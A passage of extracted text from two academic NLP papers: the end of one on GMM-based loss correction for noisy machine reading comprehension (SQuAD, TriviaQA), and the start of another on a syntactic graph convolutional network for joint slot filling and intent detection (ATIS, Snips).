this scenario, the answer is noisy. In order to fully explore the influence of noise, we generate 4 noisy
training data, and their noise ratios are 0.2, 0.4, 0.6 and 0.8, respectively.

TriviaQA. TriviaQA (Joshi et al., 2017) is a collection of trivia question-answer pairs that were scraped
from the web. We use their distantly supervised MRC dataset whose excerpt evidences are scraped from
Wikipedia. We convert TriviaQA into a weakly supervised data format that conforms to the definition
in the section 2.1. Note that, in this scenario, the evidence file is noisy. However, unlike the randomly
created noise in squad, noise in TriviaQA is real in natural scenes.

4.2 Setup
Baselines. We use two widely used models (Cui et al., 2019; Lee et al., 2019b), and a shrunken model
as the baselines. BERT: We modify a pre-trained uncased BERT (Devlin et al., 2018) model on a masked
language task to MRC task by mapping the features extracted by BERT into the inferencing position
logits to predict answer spans through a dense layer. BiDAF: Seo et al. (2016) proposed a multistage
hierarchical process, which represents context at different levels of granularity, and uses a two-way
attention flow mechanism to obtain query-aware context representation, we follow the implementation
setting of original BiDAF. BiDAFm: To explore the impact of model capacity on the proposed methods,
we build a mini version of BiDAF, denoted BiDAFm, by reducing the amount of parameters; specifically,
we set word dimension to 50 (original 100), char channel size to 20 (original 100), hidden size of LSTM
to 35 (original 100), char channel width to 2 (original 5) and char dimension to 3 (original 8).

Evaluation Metrics. Following Chen et al. (2017) and Lee et al. (2019b), we use these two official
evaluation metrics to evaluate our models, namely ExactMatch (EM) and F1 score. Among them, EM
evaluates the percentage of prediction answers that exactly match one of the ground truth ones and F1
score can measure the average overlap between the prediction and ground truth answer. And we directly
use the official evaluation script provided by SQuAD v1.1 for evaluation.

Settings. We implement the proposed methods by employing the loss correction strategies based on
the above three baselines, including using a mixture probability distribution model to fit to losses of
models, which in turn helps correct the loss distribution, and replacing the cross-entropy loss in Eq. (6)
to the hard bootstrap loss which is more suitable for processing noisy data. Based on these settings, we
retrain these new models in the same experimental environment. In practice, for mixture models, we use
2-component GMM, and its max iteration number is set to 100. We use Glove pretrained embeddings
to initialize word embedding in BiDAF. We set β in hard bootstrapping loss to 0.8, set learning rate in
BERT and BiDAF to 0.0005 and 0.001, respectively, and set temperature T to 1.0. We bounding the loss
observations in [ε, 1− ε] instead of [0, 1] (ε = e− 4 in practice) to sidesteps this issue that EM algorithm
will become numerically unstable when the observations are very near 0 and 1.

5 Results and Analysis

5.1 Experimental Results
Table 1 shows the evaluation results of the baselines and the improved models using the proposed meth-
ods on EM and F1 metrics. We can find that our methods make the original well-performed models
achieve a further significant performance improvement on the real distantly supervised TriviaQA dataset.
Among them, the improved model based on BERT improves by 13.9% and 10.0% on the EM and F1
respectively, and the improved model based on BiDAFm improves by 17.4% and 13.2%, respectively.
It shows that the proposed methods can effectively improve the models training on noisy data. On
noisy SQuADs with different ratios of noise, our methods can still significantly improve models. Taking
SQuAD with 60% noise as an example, the improved model based on BiDAF has improved 10.42 per-
centage points (29.4%) and 9.50 points (21.1%) on EM and F1, respectively. The improved model based
on BERT has improved 8.07 percentage points (20.6%) and 8.20 points (16.6%), respectively. It shows
that the proposed methods can indeed help reduce the disturbance of noise on the model, and this ability
can be clearly reflected on different data sets.
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Model
SQuAD TriviaQAclean noise-0.2 noise-0.4 noise-0.6 noise-0.8

EM F1 EM F1 EM F1 EM F1 EM F1 EM F1

BiDAFm

OR 60.19 71.87 58.13 69.53 54.08 65.99 38.92 50.79 5.07 7.38 17.41 22.24
HB - - 58.50 70.23 54.47 66.21 42.81 52.05 6.40 8.92 19.22 23.32

DCE - - 59.09 70.28 55.93 66.94 47.23 57.89 8.25 10.84 19.86 24.45
DHB - - 58.61 70.47 56.25 67.54 43.71 52.95 8.52 11.09 20.44 25.18

BiDAF
OR 64.18 74.70 60.02 70.62 53.42 63.85 35.36 44.95 10.35 15.35 22.92 27.23
HB - - 61.94 72.01 57.35 67.58 34.91 44.89 10.63 15.98 23.00 27.17

DCE - - 63.25 73.15 57.75 68.46 45.78 54.45 11.14 15.97 23.17 27.41
DHB - - 63.36 73.89 59.13 70.38 43.91 53.01 12.16 17.12 23.14 27.28

BERT
OR 69.56 79.08 61.36 72.48 53.13 64.10 39.08 49.44 15.49 24.60 25.65 30.95
HB - - 62.37 73.16 54.22 64.82 43.74 54.03 17.75 25.84 26.24 31.70

DCE - - 63.06 73.73 54.99 66.09 43.73 53.48 17.36 26.62 28.28 33.34
DHB - - 64.12 74.09 56.94 67.34 47.15 57.64 18.43 26.09 29.21 34.02

Table 1: Evaluation results of different models under different loss correction strategies on two category
of weakly supervised training sets. Among them, OR represents the original methods with cross entropy,
HB represents methods using hard bootstrapping loss only, and DCE and DHB represent strategies of
using loss distribution correction based on cross entropy and hard bootstrap loss, respectively.

Ablation Study. For each group of experiments, we report the experimental results of different mod-
els using original cross entropy loss and hard bootstrapping loss, and using high-level loss distribution
correction with the two loss functions, respectively. From Table 1, we can find that: (1) Compared with
using original cross entropy, the strategy of only correcting the loss function with hard bootstrapping
loss can also improve models to a certain extent. (2) Both loss correction combination strategies have
significant impacts on models’ promotions. (3) The models using the loss distribution correction based
on standard cross-entropy strategy has been effectively improved compared to the baselines, and some
models using this strategy perform best in some scenarios, such as the BiDAF-based improved model
trained on SQuAD with 60% noise. (4) But overall, the improved models using loss distribution correc-
tion based on hard bootstrap loss strategy will perform better, because the strategy attempts to provide
cleaner loss signals by correcting both the loss values of the samples themselves and the loss distribution.
Since there is no guarantee that adopting the combination strategy based on hard bootstrap loss will be
better, we recommend to try both combination strategies if conditions permit, and choose the one that
performs better, in the practice of applying the proposed methods.

5.2 How does GMM work?

We further analyze GMM’s ability to distinguish between noisy and clean samples based on loss distri-
bution unsupervisedly. First, independent of the noisy SQuAD sets for training, we randomly regenerate
a series of test sets from original training set to evaluate GMM, which contain corresponding proportions
noise and labels used to mark whether the samples are noise. Specifically, we regularly use the model
in normal training process to output the loss corresponding to each sample in the corresponding test set,
and use a new GMM instance to fit this loss distribution. Then use the fitted GMM to infer whether the
sample is clean or noise. Along with training process, we record the best evaluation results of GMM.

From Table 2, we can find that GMM can very effectively identify noise. On data sets with a noise
ratio of 60% or less, BERT-based and BiDAF-based improved models can correctly identify more than
97% and 80% of noisy samples, respectively. And on the noisy data a noise ratio of 80%, the noise
recognition rate still reaches 74%. This means that based on the observations in Section 2.2, GMM can
provide so much extra useful information out of nothing to help improve the models. Specifically, the
posterior probability given by GMM help to correct the loss distribution, thereby reducing the disturbance
of noise, and push the model pay more attention to the supervision signals from clean data. We also note
that the recognition rates of noise and clean data is a trade-off. Noise recognition and clean recognition
are difficult to perform both well at the same time. However, in general, the recognition results of GMM
are very effective in correcting the loss distribution, because as long as the attentions to clean samples are
increased or the to noisy samples are reduced, the model can be optimized in a more correct direction.
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Model noise-0.2 noise-0.4 noise-0.6 noise-0.8
all noise clean all noise clean all noise clean all noise clean

BiDAFm
OR 74.30 99.62 67.95 87.24 79.59 92.30 56.57 81.96 18.21 32.26 17.29 92.11

DHB 54.54 99.77 43.21 87.50 79.23 92.96 72.52 80.20 60.91 33.62 17.20 99.31

BiDAF OR 78.64 99.61 73.38 81.27 98.61 69.81 77.94 81.93 71.91 72.33 81.81 34.45
DHB 60.47 99.82 50.60 87.76 80.12 92.81 78.17 81.21 73.58 30.31 17.91 79.90

BERT OR 72.00 99.35 65.14 67.20 98.97 46.24 68.74 97.02 26.08 71.22 74.16 59.45
DHB 76.71 99.62 70.96 72.78 98.86 55.58 76.23 98.27 42.95 68.07 74.74 41.36

Table 2: Accuracy of unsupervisedly identifying the noise in the training data of different noisy SQuAD
with different noise rates by GMM obtained by fitting to the loss observations. Among them, all repre-
sents the overall accuracy, noise, and clean respectively are the proportion of noise samples and clean
samples that are correctly identified.

5.3 Fit to Loss Distribution
In addition, we intuitively show how GMM fits the loss distribution, as shown in Figure 3. From Figure
3, we can find that the loss distribution of different models trained on different noisy data sets can be
indeed roughly divided into two clusters, indicates that it makes sense to use a two-component mixture
probability model to fit the loss distribution. Moreover, the Gaussian distribution is very universal,
because it can basically fit loss clusters in various situations. Of course, the operators can explore or
design a special distribution to replace the Gaussian distribution for specific scenarios in practice. Note
that we focus more on the generalization ability of the Gaussian distribution in this paper.

(a) BiDAF on SQuAD with 60% noise (b) BERT on SQuAD with 60% noise

(c) BiDAF on TriviaQA (d) BERT on TriviaQA

Figure 3: Analysis of fitting a 2-component Gaussian mixture model to the losses computed by models
(BiDAF and BERT) on different noisy data sets, where two clusters in the histogram correspond to two
Gaussian components depicted by the red and blue curves, respectively.

5.4 Explore Other Mixture Model
From observations in Section 2.2, we can know that as long as a probability model can well fit the loss
distribution, it can be used to participate in the construction of the mixture model. In addition to GMM,
we also explore the Beta Mixture Model (BMM), which performs well in noisy image classification
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Model PDM
SQuAD TriviaQAnoise-0.2 noise-0.4 noise-0.6 noise-0.8

EM F1 EM F1 EM F1 EM F1 EM F1

BiDAFm
BMM 58.18 69.59 53.93 66.63 47.39 57.31 6.42 9.52 19.20 24.77
GMM 58.61 70.47 56.25 67.54 47.23 57.89 8.52 11.09 20.44 25.18

BERT BMM 62.89 73.75 55.19 65.85 43.27 51.84 18.97 28.93 27.38 32.41
GMM 64.12 74.09 56.94 67.34 47.15 57.64 18.43 26.09 29.21 34.02

Table 3: Comparison results of employing different mixture models to improve BiDAFm and BERT on
different noisy data sets.

tasks (Arazo et al., 2019). The beta distribution over a normalized loss l ∈ [0, 1] is defined to have PDF:
p(l|α, β) = Γ(α+β)

Γ(α)Γ(β) l
α−1(1 − l)β−1, where Γ(·) is the Gamma function, and α, β > 0 are parameters.

Similarly, the mixture PDF is given by substituting the above into Eq. (5). Based on BiDAFm and
BERT, we conduct comparison experiments on all noisy datasets. The experimental results are shown in
Table 3. From Table 3, we can find that: (1) loss correction based on BMM can also bring a significant
performance improvement, compared with the results in Table 1; (2) in most scenarios, GMM can help
to achieve more significant improvements than BMM, indicating that GMM has obvious advantages in
MRC task, and is very suitable for this task. It enlightens us that when there is no better choice, the
Gaussian mixture model is a good solution, or serves it as a baseline to explore better models.

6 Related Work

Machine Reading Comprehension. Machine reading comprehension (MRC) (Rajpurkar et al., 2016)
has received increasing attention recently, which requires a model to extract an answer span to a question
from reference documents (Yu et al., 2018; Devlin et al., 2019; Liu et al., 2020; Zheng et al., 2020;
Yuan et al., 2020). Owing to the rise of pre-training models (Devlin et al., 2018), a machine is able to
achieve highly competitive results on classic datasets (e.g. SQuad (Rajpurkar et al., 2016)), even close
to human performance. However, there is still a huge gap between high performance on the leader-
board and poor practical user experience, due to the noisy dataset, high-cost annotation and low resource
languages. Recently, the more challenging distantly supervised MRC task, TriviaQA (Joshi et al., 2017)
was proposed, in which the provided evidences are noisy and collected based on the distant supervision.
(Yuan et al., 2020) proposed a multilingual MRC task to facilitate the study on low resource languages.
(Lee et al., 2019b) focused on annotating the unlabeled data with heuristic method and refine the labels
by an extra Refinery model for multilingual MRC task.

Learning with Noisy Labels. Recently, the great progress has been made on learning with noisy labels
in image classification and question answering (QA) domains. Reed et al. (2015) and Ma et al. (2018)
proposed a bootstrapping method to reconstruct loss function for noisy data combined with model pre-
dictions. Jiang et al. (2018) and Arazo et al. (2019) put forward an empirical assumption that samples
with lower losses are clean, then separate the clean and noisy samples based on the loss distribution.
For QA task, Lin et al. (2018) and Lee et al. (2019a) utilized an extra paragraph selector to filter noise
by calculating confidences of paragraphs. Niu et al. (2020) further proposed a complementary model to
generate labels to the paragraphs for training selectors supervisedly.

7 Conclusion

In this paper, we explore natural characteristics of noise from perspective of loss, and find in early stages
of training, noisy samples usually result in significantly larger losses than clean samples. Based on
the observation, we propose a hierarchical loss correction strategy to avoid fitting noise and strengthen
supervision signals from clean samples by incorporating an unsupervisedly fitted GMM and modifying
original loss funciton to hard bootstrapping loss. We conducted ample experiments on multiple weakly
supervised MRC datasets. Experimental results show that the proposed methods can effectively help
models to achieve significant improvements.
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Abstract

Slot filling and intent detection are two major tasks for spoken language understanding. In most
existing work, these two tasks are built as joint models with multi-task learning with no consid-
eration of prior linguistic knowledge. In this paper, we propose a novel joint model that applies a
graph convolutional network over dependency trees to integrate the syntactic structure for learn-
ing slot filling and intent detection jointly. Experimental results show that our proposed model
achieves state-of-the-art performance on two public benchmark datasets and outperforms exist-
ing work. At last, we apply the BERT model to further improve the performance on both slot
filling and intent detection.

1 Introduction

Spoken Language Understanding (SLU) plays a vital role in a task-oriented dialogue system. Slot filling
and intent detection (Tur and De Mori, 2011) are two major tasks for SLU as shown in Figure 1(a). Slot
filling aims to obtain the semantic structure for the utterance. Meanwhile, intent detection annotates the
categorical intent of the utterance.

In typical pipeline methods, slot filling and intent detection are built separately. Slot filling is imple-
mented as a standard sequence labeling task (Yao et al., 2014) and intent detection is built as a classifi-
cation task (Lai et al., 2015), respectively. Essentially, slot filling and intent detection impact mutually.
Therefore, more prior work (Hakkani-Tür et al., 2016; Liu and Lane, 2016; Goo et al., 2018; Li et al.,
2018; Wang et al., 2018; Zhang et al., 2018a; E et al., 2019; Qin et al., 2019) implement two afore-
mentioned tasks jointly as multi-task learning and achieve more promising results than those pipeline
methods. However, most prior work utilize sequential model, such as recurrent neural network, to ac-
cumulate the contextual representation for each word to implement SLU with no consideration of prior
linguistic knowledge. Intuitively, slot filling and intent detection rely on indicative contextual words
for disambiguation and suffer from the degradation on wide contexts. Syntactic dependency parse tree
as shown in Figure 1(b), which provides linguistic dependency relation among words, has been shown
generally beneficial in various NLP tasks such as machine reading comprehension (Zhang et al., 2019),
neural machine translation (Chen et al., 2018) and relation extraction (Zhang et al., 2018b). The major
reasons are that the dependency parse tree can capture long-range relations between words and contain
implicit clues for disambiguation.

To access a better SLU, we emphasize that SLU model should utilize the dependency representation
as prior linguistic knowledge. In this paper, we propose a joint SLU model that applies a Graph Convo-
lutional Network (GCN) over dependency trees to integrate the syntactic structure for joint learning slot
filling and intent detection, where the GCN can pool information over arbitrary dependency structures
efficiently, which has been proven in (Zhang et al., 2018b). Concretely, our proposed model encode
the utterance and output a contextual word representation via a bi-directional LSTM (Hochreiter and
Schmidhuber, 1997), then a GCN over dependency tree take contextual word representation as input to

∗The work was done when the first author was an intern at Meituan Group. The first two authors contribute equally.

This work is licensed under a Creative Commons Attribution 4.0 International License. License details: http://creativecommons.
org/licenses/by/4.0/.
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(a) An example of slot filling (BIO format) and intent detection for
utterance “What flights travel from las vegas to los angeles”.

travel

ßightsWhat

from las

vegas

to los

angeles

ROOT

(b) An example of dependency tree over the utterance
“What flights travel from las vegas to los angeles”.

Figure 1: An example of utterance in ATIS dataset.

obtain the syntactic structure representation for utterance. In addition, it is worth noting that existing de-
pendency parsers are impossible to parse all the sentences exactly. Thus, a multi-head attention is utilized
to fuse the syntactic representation with original contextual word representation against the errors caused
by incomplete dependency parser, where the multi-head attention can supplement the syntactic represen-
tation with contextual word representation as a self-adaption manner. At last, the fused representation is
applied to implement slot filling and intent detection jointly.

The experiments are conducted on two benchmarks SLU datasets: ATIS (Hemphill et al., 1990) and
Snips (Coucke et al., 2018). The experimental results demonstrate that our proposed model outperforms
the existing state-of-the-art approaches. At last, BERT model (Devlin et al., 2019), as a pre-trained
model, is used to our proposed framework. The experimental results also show that our proposed model
incorporated with BERT model can further improve the performance on both slot filling and intent de-
tection.

The main contributions of this work are therefore include as follows: 1)We introduce a model that uti-
lizes a GCN to integrate the syntactic structure for joint learning slot filling and intent detection, which to
the best of our knowledge is the first work that syntactic structure and GCN are used to implement above
two tasks jointly. 2) We utilize a multi-head attention to fuse the syntactic representation with contextual
word representation against the errors caused by incomplete dependency parser. 3) We conduct our ex-
periments on two public datasets, and our proposed model achieves new the state-of-the-art performance
in overall accuracy metric.

2 Methodology

In this section, we will describe our syntactic graph convolutional network for SLU tasks. The overall ar-
chitecture of our model is demonstrated in Fig 2. We first use a BiLSTM encoder to obtain the contextual
representation of an utterance. Then we perform multi-hop GCN propagation over the dependency tree
initialized by the hidden states of the BiLSTM encoder to capture syntactic representation. Subsequently,
we integrate the syntactic representation and the contextual hidden states via a feature aggregation layer.
Finally, we pass the fused representation to the output layer for final predictions. Both slot filling and
intent detection are optimized simultaneously via a joint learning scheme.

2.1 Notations

We now formally define the task of slot filling and intent detection. Let X = [x1, . . . , xn] denotes a
sentence, where n denotes the sequence length. We first use a syntactic parser to generate a dependency
tree where each word represents a node. After obtaining a tree with n nodes, we can represent the graph
structure with an n ∗ n adjacency matrix A where Aij = 1 if there is an edge going from word xi to
word xj . 1 Given the input sequence and the corresponding dependency tree, our goal is to predict the
slot labels oS =

(
oS1 , . . . , o

S
n

)
and the intent label oI .

1We treat the dependency tree as an undirected graph, i.e.∀i, j, Aij = Aji. We hypothesize that modeling edge directions
and types does not offer additional discriminative power to the network because the GCN can capture adequately informative
syntactic patterns for SLU. Besides, models with high complexity are prone to overfitting.
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Output Layer
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Global Matching
Syntax-guided
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(b)   the syntax-guided self-attention scores

(a)   the overall architecture of our proposed method (c)   syntactic graph convolutional network

Figure 2: Spoken language understanding with a syntactic graph convolutional network. Fig (a) shows the overall architecture
of our proposed method. Fig (b) displays the syntax-guided self-attention scores. Fig (c) shows one-layer detailed graph
convolution computation for the word ”vegas” and ”angeles” for clarity. For local integration, we only show the computation
of three timesteps. As we describe in the introduction, the syntactic structure lets a word focus more on its dependency
words, such as from ← vegas and to ← angeles. These syntactic constraints could enhance contextual representations to
distinguish the departure city from the arrival city.

2.2 Syntactic Graph Convolutional Networks over Dependency Trees

The graph convolutional network(GCN) (Kipf and Welling, 2017) has been proved useful for encoding
structural information in graphs. GCNs provide flexibility to represent diverse syntactic and semantic re-
lationships between words. Essentially, GCN operates on a graph structure and compute representations
for the nodes of the graph by looking at the neighborhood of the node. We can stack L layers of GCNs
to account for neighbors that are L-hops away from the current node. Formally, in an L-layer GCN as
Fig 2(c) shows, we denote the input vector as h(l−1)

i and output vector as h(l)i where i represents the i-th
node and l represents the l-th layer. Hence, the one-hop graph convolution operation can be written as
h
(l)
i = σ

(∑n
j=1AijW

(l)h
(l−1)
j + b(l)

)
, where W (l) is a linear transformation, b(l) a bias term, and σ a

nonlinear function (e.g., ReLU).
To initialize the first layer input vector h(0), we first feed the input word vectors into a BiLSTM

network to generate contextualized representations. Note that our method is not limited to cooperate
with BiLSTM, but any contextual encoder like ELMo(Peters et al., 2018), BERT(Devlin et al., 2019).
We also conduct BERT based experiments for comparison. We will show empirically in Section 4.7 that
both encoders substantially improve the performance over the original baselines.

Then, we perform the aforementioned graph convolution operation on dependency trees by converting
each tree into its corresponding adjacency matrix A, where Aij = 1 if there is a dependency edge
between words i and j. Adopted from (Zhang et al., 2018b), we also normalize the activations in the
graph convolution before feeding it through the nonlinearity and adding self-loops to each node in the
graph as h(l)i = σ

(∑n
j=1 ÃijW

(l)h
(l−1)
j /di + b(l)

)
, where Ã = A + I with I being the n ∗ n identity

matrix and di =
∑n

j=1 Ãij is the degree of token i in the resulting graph.

2.3 Feature Aggregation Mechanism: From Local To Global

After applying L-layer GCNs over dependency trees, we obtain the syntactic knowledge vector h(L)i of
each token xi. To fuse syntactic representation and contextual representation, we propose the feature
aggregation mechanism comprising of the local integration layer and global matching layer. The former
builds strong interactions between syntactic vector and contextual vector of one word while the latter
models connections at the overall utterance-level. The aggregation mechanism aims to integrate syntactic
graph information and contextual representation and enable our model more robust to potential noise
from the dependency parser.

Local Integration Given the syntactic representation h
(L)
i and contextual representation h

(0)
i of word
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xi, local integration intends to control how much information in h
(L)
i and h

(0)
i should be passed down.

We employ a multi-head attention (Vaswani et al., 2017) to capture the relation between syntax and
semantics. For the i-th word, we project Hlocal

i = {h(L)i , h
(0)
i } into the distinct key, value, and query

representations, denoted Kj , Qj and Vj for each head j. Then we perform the scaled dot product attention

as Attention (Q,K, V ) = softmax
(
QKT
√
dk

)
V .

Then the outputs of all heads are concatenated and passed through a feed-forward layer followed by
GeLU activations (Hendrycks and Gimpel, 2017) and a layer normalization. And we perform average
pooling on the final outputs of local integration for each word, denoted as H′ = {h′1, . . . , h′n}, where
the syntactic representation and original contextual word representation are fused. Note that all the
parameters of the local integration layer are shared for all the words. In Fig 2(a), we only show three
network blocks for clarity.

Global Matching After local integration captures the relationship between syntax and semantics of
each word, we propose a global matching layer to model connections between fused representations at the
overall utterance-level. Similar to the local integration, we use another multi-head attention layer where
we project Hglobal = H′ = {h′1, . . . , h′n} into the the distinct key, value, and query representations.
The syntactic information from GCN will guide a word to other words of syntactic importance in a
sentence. To reduce the overall parameters and computational cost, we do not employ a stack of multiple
identical blocks but only one multi-head attention layer for both local integration and global matching.
The outputs of global matching will be forwarded into the final output layer.

2.4 Joint Optimization

Finally, we use the output hidden vectors of global matching to predict the slot types and intent. For
slot types, we directly perform softmax operation over the hidden vector at each timestep. For intent
prediction, we perform max pooling over all the words to obtain a fixed-length vector. Then the final
vector is fed to the multi-layer perceptron (MLP) classifier, with one hidden layer, tanh activation, and
softmax output layer. The entire model is trained by minimizing the sum of two cross-entropy losses in
an end-to-end manner. The overall objective is formulated as p

(
yS , yI |X

)
= p

(
yI |X

)∏n
t=1 p

(
ySt |X

)
,

where yS , yI are the softmax output probability of slots and intent respectively.

3 Experiments

3.1 Settings

To evaluate the proposed model, we conduct experiments on two public benchmark datasets, ATIS
(Hemphill et al., 1990) and Snips (Coucke et al., 2018). ATIS contains audio recordings of flight reser-
vations, and Snips is collected from the Snips personal voice assistant. For the syntactic parser, we adopt
the Stanford parser from (Chen and Manning, 2014). The parser is not updated with our SLU model. For
the SLU model, we use the glove embedding with the dimension of 300 and set the dropout rate as 0.1.
L2 regularization is used with a rate of 1 × 10−3. We use the Adam optimizer (Kingma and Ba, 2014)
with the learning rate of 0.001. For the GCN model, we set the propagation layer num as 2 and treat the
dependency tree as an undirected graph. All the results are reported on the test set after early stopping
on the dev set.

3.2 Baselines

We compare our model with the existing baselines including: Joint Seq(Hakkani-Tür et al., 2016) pro-
poses an RNN-based multi-task modeling approach for jointly modeling domain detection, intent detec-
tion, and slot filling. Attention BiRNN(Liu and Lane, 2016) leverages the attention mechanism to learn
the relationship between slot and intent. Slot-Gated Atten(Goo et al., 2018) proposes the slot-gate to
model the correlation of slot filling and intent detection. Self-Attentive Model(Li et al., 2018) proposes a
novel self-attentive model with the intent augmented gate mechanism to utilize the semantic correlation
between slot and intent. Bi-Model(Wang et al., 2018) proposes the Bi-model to consider the intent and
slot filling cross-impact to each other. CAPSULE-NLU(Zhang et al., 2018a) proposes a capsule-based
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Model SNIPS ATIS
Slot (F1) Intent (Acc) Overall (Acc) Slot (F1) Intent (Acc) Overall (Acc)

Joint Seq (Hakkani-Tür et al., 2016) 87.3 96.9 73.2 94.3 92.6 80.7
Attention BiRNN (Liu and Lane, 2016) 87.8 96.7 74.1 94.2 91.1 78.9
Slot-Gated Full Atten (Goo et al., 2018) 88.8 97.0 75.5 94.8 93.6 82.2
Slot-Gated Intent Atten (Goo et al., 2018) 88.3 96.8 74.6 95.2 94.1 82.6
Self-Attentive Model (Li et al., 2018) 90.0 97.5 81.0 95.1 96.8 82.2
Bi-Model (Wang et al., 2018) 93.5 97.2 83.8 95.5 96.4 85.7
CAPSULE-NLU (Zhang et al., 2018a) 91.8 97.3 80.9 95.2 95.0 83.4
SF-ID Network (E et al., 2019) 90.5 97.0 78.4 95.6 96.6 86.0
Stack-Propagation (Qin et al., 2019) 94.2 98.0 86.9 95.9 96.9 86.5
Our model 94.8* 98.2* 87.6* 95.7 97.2* 86.9*

Table 1: Slot filling and intent detection results on two datasets. The numbers with * indicate that the improvement of our
model over all baselines is statistically significant with p < 0.05 under t-test.

model with a dynamic routing-by-agreement schema to accomplish slot filling and intent detection. SF-
ID Network(E et al., 2019) introduces an SF-ID network to establish multiple direct connections for the
slot filling and intent detection to help them promote each other mutually. Stack-Propagation(Qin et al.,
2019) proposes a Stack-Propagation framework that can directly use the intent information as input for
slot filling, thus to capture the intent semantic knowledge. We report the experiment results of these
models adopted from (Qin et al., 2019).

3.3 Overall Results

We evaluate the SLU performance about slot filling using F1 score, intent prediction using accuracy, and
sentence-level semantic frame parsing using overall frame accuracy. We take the overall accuracy as the
main evaluation metric since the metric considers the joint performance of both slot filling task and intent
detection task. Table 1 displays the performance of our proposed model and baseline models on ATIS and
Snips dataset. As shown in Table 1, we observe that our model outperforms all the baselines obviously
on Overall (Acc). Specially, compared with the best prior joint work Stack-Propagation, we achieve
0.7% improvement on Overall (Acc) in the Snips dataset. Meanwhile, we achieve 0.4% improvement
on Overall (Acc) in the ATIS dataset. In Snips dataset, our model outperforms the baseline models on
all the evaluation metric. Although our model achieve 0.2% lower performance than Stack-Propagation
on Slot (F1) in ATIS dataset, our model still outperforms Stack-Propagation on main evaluation metric,
i.e. Overall (Acc), obviously. Above results indicate that our proposed model can improve the SLU
performance significantly by integrating the syntactic structure with contextual information.

4 Qualitative Analysis

In this section, we present a detailed qualitative analysis on each component of our proposed model and
provide certain typical cases to show the effectiveness of incorporating syntactic information. We first
perform an ablation study to validate the effect of different modules of our model. Then we explore
more methods of feature aggregation and demonstrate the superiority of our proposed local-to-global
multi-head attention mechanism. Next, we give some typical cases of our model and baseline to show
the effect of syntactic structure. Finally, we conduct experiment with BERT to verify that our model is
more effective with pre-trained model.

4.1 Effect of Syntactic GCN

To verify the effectiveness of syntactic information delivered by the dependency tree, we conduct com-
parison experiments with the same architecture except for the way of constructing the adjacency matrix
A. As Table 2.1 shows, we experiment with two distinct adjacency matrices of all 0s and all 1s. The
Adj=0 model which fills the adjacency matrix with all 0s aims to disentangle GCN from our proposed
model as a baseline. And the Adj=1 model which fills the adjacency matrix with all 1s demonstrates the
effect of the dependency tree.
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Model SNIPS ATIS
Slot (F1) Intent (Acc) Overall (Acc) Slot (F1) Intent (Acc) Overall (Acc)

Adj=0* 93.3 97.7 84.6 94.9 96.5 84.9
Adj=1** 92.9 97.7 83.5 90.8 95.5 79.8
Syntax GCN 94.8 98.2 87.6 95.7 97.2 86.9

Table 2: Effect of Syntactic GCN. * indicates that the Adj=0 model fills the adjacency matrix with all 0s. By contrast, **
indicates that the Adj=1 model fills the adjacency matrix with all 1s. Syntax GCN represents our proposed syntactic GCN
model where the adjacency matrix is filled with the dependency tree as described in Section 2.1.

(a) Split by sentence length in the ATIS test dataset (b) Split by sentence length in the Snips test dataset

Figure 3: Test set performance with regard to sentence length for our proposed model, Stack-Propagation (Qin et al., 2019) and
our model w/o GCN which fills the adjacency matrix with all 0s.

In the Snips dataset, compared to the Adj=0 model, Adj=1 gets a drop of 1.1% on Overall (Acc) while
our model get 3.0% improvements. The similar results are also shown in the ATIS dataset. We hy-
pothesize that this is because filling the adjacency matrix with all 1s essentially builds a fully-connected
graph, which induces tremendous noise to the model. By contrast, integrating the syntactic information
makes a word focus more on its dependency words as constraints. The experiment results confirm that
incorporating syntactic dependency benefits the understanding of natural language.

4.2 Effect of Sentence Length

To understand what our syntax GCN model captures and how it differs from the previous baselines such
as Stack-Propagation, we compare their performance over examples with different ranges of sentence
length in the Fig 3. Specifically, for each model, we train it on the same training set and report their
overall accuracy on examples with different sentence lengths of the test set.

Fig 3 shows that our proposed syntax GCN model outperforms Stack-Propagation with notable im-
provements at handling long sentences. We believe our model can better resolve issues of long-term
dependencies via the explicit syntactic information. Besides, compared to the model w/o GCN, our
model consistently achieves superior performance, which demonstrates the effectiveness of the feature
aggregation layer.

4.3 Effect of Feature Aggregation

We further explore the benefits of our feature aggregation mechanism in our model. We conduct com-
parison experiments with the same architecture except for the feature aggregation layer. Table 3 shows
the overall results of different feature aggregation methods, including Add, Concat, Gate, Full and our
local-to-global multi-head attention mechanism. Given the syntactic representation h

(L)
i and contextual

representation h
(0)
i of the i-th word, we define the Gate as oi = α ∗ h

(L)
i + (1 − α) ∗ h

(0)
i where α =

W1h
(L)
i +W2h

(0)
i , and the Full as oi = Concat([h

(L)
i ;h

(0)
i ; |h(L)i − h

(0)
i |;h(L)i ∗ h(0)i ]).

Compared to the base RNN, all the aggregation methods, Add, Concat, Gate, Full, achieve 1% ∼ 2%
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Model SNIPS ATIS
Slot (F1) Intent (Acc) Overall (Acc) Slot (F1) Intent (Acc) Overall (Acc)

RNN 90.7 96.9 80.7 94.3 95.3 82.5
Add 91.7 97.4 82.3 94.8 95.6 84.4
Concat 91.5 98.1 82.1 94.9 94.4 83.5
Gate 92.0 97.7 82.6 94.9 95.3 83.9
Full 91.5 97.9 81.6 94.9 94.2 83.5
Local Integration 93.4 97.9 85.9 95.2 96.1 85.1
Global Matching 94.1 98.0 86.7 95.3 97.1 86.2
Our model 94.8 98.2 87.6 95.7 97.2 86.9

Table 3: Effect of Feature Aggregation.
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Figure 4: Case study of RNN and our model. The [GREEN] ([RED]) highlight indicates a correct (incorrect) tag.

improvements in both datasets, which demonstrates the effectiveness of incorporating syntactic structure
via GCN. Further, our proposed local-to-global aggregation layer outperforms these methods with a
statistically significant margin. The results confirm feature aggregation mechanism plays a vital role in
the integration of contextual representation and syntactic information.

4.4 Case Study
We display two samples from basic RNN and our model in Fig 4. Given the same input ”find flights
arriving new york city next saturday”, RNN can not distinguish the from loc from to loc because it
can not explicitly model the relationships between new york city and arriving. By contrast, our model
leverages the syntactic structure to make new york city focus more on its dependency word arriving.
This example illustrates the syntactic structure could enhance the contextual representation to facilitate
the SLU tasks by modeling direct relations between words.

4.5 Visualization Analysis

(a) The model without syntactic GCN (b) Our proposed model

Figure 5: Visualization of attention distributions of the self-attention layer of global matching in our syntactic GCN model(right)
and the variant without GCN(left).

To have a quick grasp of how syntactic information works, we perform visualization analysis of at-
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tention distributions of the self-attention layer of global matching in our syntactic GCN model and the
variant without GCN, as shown in Fig 5. Weights of attention are selected from the first head of the
self-attention layer. After integrating syntactic knowledge, the word ”city” focuses more on its depen-
dency word ”arriving”, which convincingly indicates that ”new york city” is an entity of arrival city but
departure city. The visualization confirms that syntactic knowledge makes a word attentively select the
